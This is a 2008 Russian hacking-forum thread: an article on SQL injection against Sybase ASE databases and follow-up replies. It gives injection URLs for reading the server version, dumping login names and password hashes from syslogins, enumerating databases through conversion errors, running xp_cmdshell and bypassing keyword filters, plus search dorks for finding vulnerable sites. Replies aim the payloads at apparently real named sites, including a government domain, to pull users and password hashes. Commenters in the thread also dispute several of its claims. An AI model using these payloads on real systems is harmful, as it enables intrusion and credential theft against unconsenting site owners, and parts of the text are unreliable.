Авторские статьи Проведение SQL инъекций в Sybase ASE

Discussion in 'Статьи' started by ~!DoK_tOR!~, 25 Jul 2008.

  1. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    Проведение SQL инъекций в Sybase ASE


    Автор: ~!Dok_tOR!~
    Дата: 25.07.2008

    Special for antichat.ru


    [Intro]

    В данной статье будет рассмотрено проведения SQL инъекций в Sybase. Я думаю многим будет интересно почитать об этой СУБД так как взламывать MySQL уже научился каждый 3-ий а когда появляется что-то нестандартное, непонятное возникают проблемы, я не исключаю того что ты мог вообще никогда не слышать о СУБД Sybase. Заглянем в историю ...

    [History]

    Sybase Inc. — пионер среди компаний, специализирующихся на разработке реляционных баз данных, а также других продуктов, связанных со сбором, обработкой и хранением данных. Кроме названия компании, слово «Sybase» также часто используется как наименования наиболее широко известного ее продукта — системы управления базами данных Adaptive Server Enterprise.
    Архитекторами Sybase были доктор Роберт Эпштейн (Dr. Robert Epstein) и Том Хаггин (Tom Haggin), — оба они работали на Бритон-Ли и Университет Калифорния, Беркли, — в департаменте вычислительной техники. В Беркли впервые была разработана реляционная СУБД «University Ingres», которая стала эталоном таких СУБД как Ingres (Computer Associates), Informix (IBM) и NonStop SQL (Tandem), а также для большинства сегодняшних SQL-систем.Sybase оказалась на втором месте среди используемых в мире баз данных, сразу за Oracle, после подписания договора о предоставлении исходного кода базы в Microsoft для выведения на рынок продукта на базе платформы OS/2 под названием «SQL Server». В это же время Sybase стала называть свою СУБД «Sybase SQL Server». Вплоть до версии 4.9, Sybase SQL Server и Microsoft SQL Server были практически идентичными. Однако в связи с возникшими разногласиями между компаниями, связанными с вопросами разделения доходов, Sybase и Microsoft приняли решение прекратить совместное развитие продукта несмотря на очевидное наличие общего наследия в виде процедурного языка Transact-SQL (T-SQL) и одинаковой архитектуры. Существенное отличие заключается в том, что Sybase была основана на базе UNIX-архитектуры, в то время как Microsoft практически сразу ушел с UNIX и целиком сконцентрировался на платформе Windows NT. В настоящее время, Sybase продолжает поддерживать и развивать версии для семейства Windows, и различных UNIX-платформ (IBM AIX, HP-UX, Sun Solaris, GNU/Linux и другие).


    Офф.сайт www.sybase.com

    [Error Messages]

    Уявимый параметр search, подставляем ковычку:

    Code:
    http://site.com/index.php?search='
    Code:
    Warning: sybase_query():
    Warning: sybase_num_rows():
    
    Code:
    com.sybase.jdbc2.jdbc.SybSQLException: Unclosed quote before the 
    character string '''. com.sybase.jdbc2.jdbc.SybSQLException: Incorrect syntax near '''.
    ещё ошибка может быть вот такой

    Code:
    com.sybase.jdbc2.jdbc.SybSQLException: Syntax error during explicit 
    conversion of VARCHAR value ''' to a INT field.
    Error Message Sybase

    [SQL Injection]

    Обрезать запрос можно использовав комментарий: /**/ , --

    SQL comments

    Подбор стоолбцов:
    Code:
    http://site.com/index.php?search=-1+union+select+null--
    Узнаём версию Sybase:
    Code:
    http://site.com/index.php?search=-1+union+select+@@version--
    или

    Code:
    http://site.com/index.php?search=')+and+1=convert(integer,(select+@@version))--
    и видим ответ сервера

    Code:
    Adaptive Server Enterprise/12.5.2/EBF 11948 ESD#1/P/NT (IX86)/OS 
    4.0/ase1252/1838/32-bit/OPT/Sat May 29 03:34:29 2004
    12.5.2 - это номер версии Sybase;
    EBF 11948 - число "непредвиденного исправления(bug fix)";
    ESD#1 - число "Электронной Программной Поставки", которое является корректором;


    Для того, чтобы получить целое через ошибку рассмотренную выше, мы просто преобразовываем целое в строку:

    Code:
    convert(integer,(select 'z' + str(@@version_as_integer)))
    В итоге

    Code:
    http://site.com/index.php?search=')+and+1=convert(integer,(select+'z'%2bstr(@@version_as_integer)))--
    возвращает результат

    Code:
    com.sybase.jdbc2.jdbc.SybSQLException: Syntax error during explicit 
    conversion of VARCHAR value 'z [COLOR=DarkOrange]12500[/COLOR]' to a INT field.
    12.5.0 - версия Sybase

    В общих чертах, для того чтобы получать переменную произвольного типа данных, использовавших сообщение конверсионной ошибки целого, пропишите переменную в строку сначала, затем выполните преобразование целого.

    допустим уязвимый код такой:

    Code:
    String search = request.getParameter("search");
    ResultSet rs = stmt.executeQuery("select * from pubs2..titles where UPPER(title) like UPPER('%" + search + "%')");
    Выводим имена всех пользователей:
    Code:
    http://site.com/index.php?search=-1+union+select+name+from+syslogins--
    или

    Code:
    http://site.com/index.php?search=-1+union+select+name+from+master..syslogins--
    Выводим хеши паролей юзеров:
    Code:
    http://site.com/index.php?search=-1+union+select+password+from+syslogins--
    Cписок баз данных на сервере:
    Code:
    http://site.com/index.php?search=')+and+1=convert(integer,(select+min(name)+from+sysdatabases+where+name>''))--
    получаем ошибку вида

    Code:
    com.sybase.jdbc2.jdbc.SybSQLException: Syntax error during explicit 
    conversion of VARCHAR value 'master' to a INT field.
    в ошибке присутствует слово master - это и есть первая колонка. Для того, чтобы получить следующию, мы модифицируем запрос, так чтобы выбиря наименьшию величину, что больше, чем master, таким образом:

    Code:
    http://site.com/index.php?search=')+and+1=convert(integer,(select+min(name)+from+sysdatabases+where+name>'master'))--
    получили

    Code:
    com.sybase.jdbc2.jdbc.SybSQLException: Syntax error during explicit 
    conversion of VARCHAR value 'blabla' to a INT field.
    Таким образом мы повторяем полностью все колонки пока наше утверждение выбора не возвращает никакие дальнейшие данные.

    Используем запрос Transact-SQL's, группирующий характеристику:
    Code:
    http://site.com/index.php?search=')+create+table+foo(a+integer)--
    серьезная проблема безопасности, для неё характерны несколько причин:

    1. Хакер может послать запрос, включая Обработку Данных Языковых утверждений (DML) и Определения Данных Языковых утверждений (DDL).
    2. Хакер использует pre-authenticated подлинный канал, который предусмотрен приложением. В примере выше, приложение удостоверяет как "sa" , так что хакер может легко управлять сервером, выполняющим Sybase but нормально счет должен быть более низким-привилегированным счетом пользователя.

    Code:
    search = search.replaceAll( "'", "''");
    после вызова на getParameter, единственные кавычки "удваиваются". Конечно, это не будет работать для числовых данных поскольку числа не ограничены в выполнении SQL. Если наш поиск был для pub_id, хакер мог бы просто послать SQL запрос непосредственно после числа, не требуя единственные кавычки.

    [Запись в файл]

    Code:
    create table myfile (record varchar(2000)) external
    file at "C:\temp\file.txt" insert into myfile
    values(0xYOU_BINARY_DATA)"
    [xp_cmdshell]

    Только администраторы могут выполнить xp_cmdshell, по умолчанию.

    Запись в файл через xp_cmdshell:

    Code:
    declare @cmd varchar(255) select @cmd='echo blablabla >> C:\file.txt'
    exec xp_cmdshell @cmd
    Так как Sybase и MSSQL - довольно схожие системы, то и синтаксис команд во многом схож:

    Code:
    xp_cmdshell 'command'
    Например:

    Code:
    xp_cmdshell 'net users'
    выведет учетные записи пользователей системы.

    [xp_regread]

    Sybase не имеет эквивалент xp_regread, так что любые хитрости (как например, чтение SAM файла под Windows) не будет работать в Sybase.

    В MSSQL, функция exec позволяет нам, выполнять динамический запрос. Например:


    Code:
    exec('select @@version')
    Если запрос не сработает то попробуйте обойти вот так:

    Code:
    exec('sel'+'ect @'+'@ver'+'sion')
    Ёще как вариат закодировать целую строку в литерале:

    Code:
    declare @s varchar(2000)
    set @s=0x73656C65637420404076657273696F6E
    exec(@s)
    В общих чертах, фильтрация ввода пользователя в SQL исключительно плохой путь адресовать инъекцию SQL. В некоторых случаях, удаляют ключевые слова так называемые "плохие слова", это может легко обойти использовать подобно этому:

    Code:
    selselectect @@ver@@versionsion
    Это обычно срабатывает, если фильтр не установлен никакая подстановка не может быть сделана.

    Dorks:

    Warning: sybase_query()
    Warning: sybase_num_rows()
    Warning: sybase_fetch_array():
    Warning: sybase_query(): Sybase: Server message:

    Ссылки:

    Официальный сайт
    Cайт российского представительства
    Портал разработчиков под Sybase
    Русскоязычные форумы по продуктам Sybase
     
    #1 ~!DoK_tOR!~, 25 Jul 2008
    Last edited: 10 Aug 2008
    7 people like this.
  2. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    >> Статья доказывает тот факт что, нет неуязвимых СУБД, каждая СУБД имеет те или иные баги
    В статье были рассмотрены аспекты незащищённости Sybase aka (ASE).

    Вроде как были описаны уязвимости используемые при уязвимом коде, каким местом к этому относятся уязвимости субд?

    PS фака по этой субд на ачате нету, так что +
     
  3. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    T-SQL помоему не поддерживает /*
    Разве это будет работать? Дело даже не в опечатке "@@version()"
    Это если честно не понял , поясни, если не трудно.
    Опять-же , это разве работает? master..syslogins, ещё туда-сюда, но помоему конструкция запроса не верна
    Не понял откуда ты выводишь список баз?
    "sysdatabases"- Это системная таблица какая-то?
    Поясни пожалуйста
    Этот абзац не понял целиком, похоже на хреновый перевод, если можно объясни , что сдесь написано

    Всё что ниже понятно, и взято отсюда :
    http://www.xakep.ru/magazine/xa/105/082/1.asp

    PS Я не придираюсь , просто тема очень интересна самому, возможно я что-то не понял просто, если можешь поясни плз.
     
    #3 Kakoytoxaker, 26 Jul 2008
    Last edited: 26 Jul 2008
    1 person likes this.
  4. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    поддерживает.

    а ты как думаешь ? конечно будет . исправил

    если версия
    Code:
    union+select+@@version
    так не узнаётся или появляется ошибка

    то преобразуем это в всё в конверсию целого aka convert ()

    Code:
    convert(integer,(select+@@version))--
    пониаешь имена пользователей могу хранится в табличке syslogins так и в master..syslogins.

    список баз выводится из таблички sysdatabases или master..sysdatabases если тебе так не понятно то вот так

    Code:
    http://site.com/index.php?search=-1+union+select+name+from+sysdatabases--
    или

    Code:
    http://site.com/index.php?search=-1+union+select+name+from+master..sysdatabases--
     
  5. }{0TT@БЬ)Ч

    }{0TT@БЬ)Ч Elder - Старейшина

    Joined:
    20 Jan 2006
    Messages:
    269
    Likes Received:
    140
    Reputations:
    31
    .Slip
    это наводит на не очень хорошие мысли,ТС не совсем понял уязвимость sql inj.
     
    3 people like this.
  6. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    Рассмотрим на конкретном примере

    Запрос
    http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(integer,(select+@@version))--

    Code:
    Adaptive Server Enterprise/12.5.3/EBF 13332 ESD#7/P/Linux Intel/Enterprise
    Linux/ase1253/1951/32-bit/OPT/Fri Mar 24 00:40:52 2006
    
    если выше метод не действует то:

    http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(integer,(select+'z'%2bstr(@@version_as_integer)))--

    Code:
    Warning: sybase_query() [function.sybase-query]: Sybase: Server message: Syntax error during explicit conversion of VARCHAR value 'z [COLOR=DarkOrange][b]12500[/b][/COLOR]' to a INT field. (severity 16, procedure N/A) in /var/home/pda1.vmdaily.ru/classes/db.clss on line 21
    
    12.5.0 - версия Sybase

    http://futbolsoccer.aol.com.mx/mexico/apertura2005/home/index.php?t=1+and+1=convert(integer,(select+@@version))--

    Code:
    Adaptive Server Enterprise/12.5.3/EBF 12593 ESD#3/P/Sun_svr4/OS 5.8/
    ase1253/1911/64-bit/FBO/Fri Jul 8 13:31:40 2005
    
     
  7. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Конструктивная критика :)

    Вывод версии, это конечно круто, но и он идёт в твоём примере через and
    А ты в начале статьи писал о работе с оператором Union
    Я бы хотел что-бы ты показал пример работы с ним

    Дело в том, что в Sybase как и в MSSQL достаточно бредовая затея работать с оператором UNION(ИМХО)
    И если ты его описываешь, то покажи пример рабочего запроса,что-бы люди видели как это

    Вот нормальная работа с базой Sybase: Описана Scipio сдесь:
    http://forum.antichat.ru/showpost.php?p=626114&postcount=5170

    В примере приведённом тобой это выглядит так:
    Юзер:
    http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(numeric,(user_name()))--
    webuser

    http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(numeric,(select+max(dbname)+from+master..syslogins))--
    wwwstat
    http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(numeric,(select+max(dbname)+from+master..syslogins+where+dbname+not+in+(0x77777773746174,0x7765626462)))
    http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(numeric,(select+max(dbname)+from+master..syslogins))
    wwwstat
    http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(numeric,(select+max(dbname)+from+master..syslogins+where+dbname+not+in+(0x77777773746174)))
    webdb
    http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(numeric,(select+max(dbname)+from+master..syslogins+where+dbname+not+in+(0x77777773746174,0x7765626462)))
    vm
    и т.д.
    Вывод идёт из master..syslogins, ты пишешь
    пробуем:
    http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(numeric,(select+max(dbname)+from+syslogins))
    Ошибка
    Опять-же, либо объясни, либо исправь

    Далее, комментарий /*
    http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(numeric,(select+max(dbname)+from+master..syslogins))/*
    Ошибка, почему??

    Ну и повторюсь, покажи работу union
     
    #7 Kakoytoxaker, 10 Aug 2008
    Last edited: 7 Oct 2008
  8. ~!DoK_tOR!~

    ~!DoK_tOR!~ Banned

    Joined:
    10 Nov 2006
    Messages:
    673
    Likes Received:
    357
    Reputations:
    44
    и рядом о работе с подзапросами ) с подзапросами работать легче )

    по дефлойту используется табличка master..syslogins а syslogins очень редко в стречается ) Я имею ввиду что если master..syslogins not found то используется табличка syslogins )

    исправил используется комментарий /**/

    http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(numeric,(select+max(dbname)+from+master..syslogins))/**/

    Пользователи:

    http://futbolsoccer.aol.com.mx/mexico/apertura2005/home/index.php?t=1+and+1=convert(numeric,(select+max(name)+from+master..syslogins))--

    Пароли:
    http://futbolsoccer.aol.com.mx/mexico/apertura2005/home/index.php?t=1+and+1=convert(numeric,(select+max(password)+from+master..syslogins))--

    http://www.shmsa.gov.cn:8088/ggl.detail.php?ChannelID=754&ggl_id=convert(numeric,(select+max(password)+from+master..syslogins))/**/

    http://www.shmsa.gov.cn:8088/ggl.detail.php?ChannelID=754&ggl_id=convert(numeric,(select+max(name)+from+master..syslogins))/**/
     
    #8 ~!DoK_tOR!~, 10 Aug 2008
    Last edited: 10 Aug 2008
  9. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    and это не подзапрос, просто логическое условие
    Примеров работы с подзапросами в твоём описании нет

    Будешь показывать подзапросы? :D

    ЗЫ Описание Scipio гораздо понятнее и удобнее, хорошо бы его воткнуть сюда вместо моих примеров, что-бы всё было в одном месте, но это конечно ему самому решать
     
  10. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Как ты это конкретно в иньекции применить собираешься?


    Запустика конслольку ASE и введи 'sel'+'ect @'+'@ver'+'sion'
    А зачем тут скобки?

    Превиду пример с mysql
    выводим database() (db_name() ase) текущая база 'demo'
    "имена пользователей могу хранится в табличке user так и в mysql.user"

    master это системная таблица (аналогично mysql.user) и syslogins храниться только там.
    запрос select syslogins прокатит только тогда когда это твоя текущая база,
    что при иньекции не возможно.

    p.s.
    Создаеться впечатление что автор не понимает о чем он пишет.

    Про ASA и IQ даже не упоминалось.

    имхо TSQL и есть TSQL
     
    #10 guest3297, 7 Oct 2008
    Last edited: 7 Oct 2008
  11. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    информация проверена? Мне с трудом верится, что такое возможно. Ведь оставшаяся часть запроса останется незакомментированной - соответственно возникнет ошибка синтаксиса. Взять к примеру вот этот пример:
    http://futbolsoccer.aol.com.mx/mexico/apertura2005/home/index.php?t=1+and+1=convert(numeric,(select+max(na me)+from+master..syslogins))--
    Пробуем с /*
    http://futbolsoccer.aol.com.mx/mexico/apertura2005/home/index.php?t=1+and+1=convert(numeric,(select+max(name)+from+master..syslogins))/*
    ->
    Missing end comment mark
    Пробуем так /**/
    http://futbolsoccer.aol.com.mx/mexico/apertura2005/home/index.php?t=1+and+1=convert(numeric,(select+max(name)+from+master..syslogins))/**/
    ->
    Incorrect syntax near '='
    Очевидно, что в последнем запросе возникла ошибка синтаксиса.